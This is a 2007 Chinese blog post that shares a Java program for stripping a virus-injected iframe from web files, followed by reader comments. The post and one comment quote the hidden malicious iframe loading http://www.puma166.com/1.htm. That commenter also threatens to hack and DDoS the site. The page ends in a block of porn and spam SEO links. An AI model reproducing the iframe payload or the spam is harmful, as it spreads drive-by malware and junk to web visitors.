<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    lqxue

    常用鏈接

    統計

    book

    tools

    最新評論

    清除文件中含有指定特征字符串(例如puma166)的行。


    最近感染了一個病毒,也說不上是啥毒,反正所有的.html,.htm,.jsp文件一經被IE執行,它都會在文件的尾部加上一句類似這樣一句代碼“< IFRAME ID=IFrame1 FRAMEBORDER=0 SCROLLING=NO SRC="http://www.puma166.com/...."></ IFRAME > ”;殺毒軟件是不能幫我把它從文件中刪除了,自己寫了一段程序來實現。

    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileReader;
    import java.io.FileWriter;

    public class Test {
        
    private static String feature = "puma166";// the special string which indicate that we will remove this line 
        private static String filetypes = "#.htm#.html#.jsp#.asp#.aspx#";
        
    public static void moveAntivus(String filename,String feature) throws Exception{
            FileReader fr 
    = new FileReader(filename);
            String tmpFileName 
    = filename+"_tmp";
            BufferedReader br 
    = new BufferedReader(fr);
            String line 
    = "";
            FileWriter fw ;
            
    while ((line=br.readLine()) != null) {
                
    if(line.trim().indexOf(feature)<0){
                    fw 
    = new FileWriter(new File(tmpFileName),true);
                    fw.write(line
    +"\n");
                    fw.close();
                }
            }
            fr.close();
            File file 
    = new File(filename);
            file.delete();
            
    new File(tmpFileName).renameTo(new File(filename));
        }
        
    public static void scanFile(File file){
           if(file.getName().indexOf(".")<0)
                return;
            
    try {
                String ext 
    = file.getName().substring(file.getName().lastIndexOf("."));
                
    if(filetypes.indexOf(ext)>0){
                    moveAntivus(file.getAbsolutePath(),feature);
                    System.out.println(file.getAbsolutePath());
                }
            } 
    catch (Exception e) {
                e.printStackTrace();
            }
        }
        
    public static void scanDir(File dir){
                File[] files 
    = dir.listFiles();
                
    for(int i=0;i<files.length;i++){
                    
    if(files[i].isDirectory()){
                        scanDir(files[i]);
                    }
    else{
                        scanFile(files[i]);
                    }
                }
        }
        
    public static void main(String[] args){
            Test.scanDir(
    new File("C:\\"));//掃描c盤;
        }
    }

    posted on 2007-05-25 10:31 lqx 閱讀(1232) 評論(6)  編輯  收藏

    評論

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-05 10:14 cf

    我也中了這個病毒,請問你寫的這個程序應該放程序的什么地方?請回復到我的郵箱好嗎?我的郵箱是:cf244000@163.com.謝謝了,急用  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 09:34 myself

    這是一段java代碼,你在執行前在main方法里填上你要掃描的文件夾或磁盤
    如下:
    public static void main(String[] args){
    Test.scanDir(new File("C:\\"));//掃描c盤;
    Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;
    }

    編譯通過后,執行即可  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:05 cf

    謝謝了  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:32 雨的眼淚

    你好,還是我,我把這段代碼放在我要運行的mian.asp中,這樣可以嗎?將這句代碼“Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;”換成我網上文件所在的文件。然后將我的文件放到網上,這樣可以嗎?謝謝了
      回復  更多評論   

    #  <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>太卑鄙了我草他老母[未登錄] 2007-06-27 10:18 過客

    <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe> 他嗎的這個東西太卑鄙了 竟然給老子掛網馬

    嗎的害的老子好苦啊 草他娘 草他老母啊 日他麻痹啊


    誰告訴我他的真正網站 老子 給他黑了 DDOS他麻痹啊 草呀 你他娘  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-09-15 22:56 jackycheng

    我以前是通過dreamweaver 來替換好把它清除了,自己硬盤上網頁太多,又散清楚起來特別的麻煩。今天看到樓主這樣編程殺毒的方法覺得挺不錯的。樓主怎么不把它做成軟件讓大家共享呢?

            回復  更多評論   


    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 2015日韩永久免费视频播放| 日本永久免费a∨在线视频 | 国产产在线精品亚洲AAVV| 岛国av无码免费无禁网站| 亚洲AV无码久久久久网站蜜桃| 91手机看片国产永久免费| 亚洲第一二三四区| 在线观看免费高清视频| 亚洲熟妇无码一区二区三区 | 免费中文字幕在线观看| 视频一区在线免费观看| 精品亚洲一区二区三区在线播放| 特级毛片爽www免费版| 久久亚洲精品无码播放| 免费人成网站在线观看不卡| 亚洲va在线va天堂va四虎| 四虎永久成人免费影院域名| 亚洲乱码无人区卡1卡2卡3| 永久免费视频v片www| 国产成人亚洲精品电影| 久久亚洲色一区二区三区| 久久大香香蕉国产免费网站| 亚洲人成网站日本片| 国产成人免费a在线资源| 9久热这里只有精品免费| 亚洲精品高清国产一久久| 天天天欲色欲色WWW免费| 免费无码午夜福利片69| 久久亚洲精品国产精品黑人| 久久久久久国产精品免费免费| 麻豆安全免费网址入口| 亚洲人精品午夜射精日韩| 亚洲电影在线免费观看| 国产精品成人亚洲| 亚洲一级二级三级不卡| 在线播放免费播放av片| 青柠影视在线观看免费| 亚洲最大的成人网| 国产亚洲av片在线观看16女人 | 久久福利青草精品资源站免费 | 又粗又大又猛又爽免费视频 |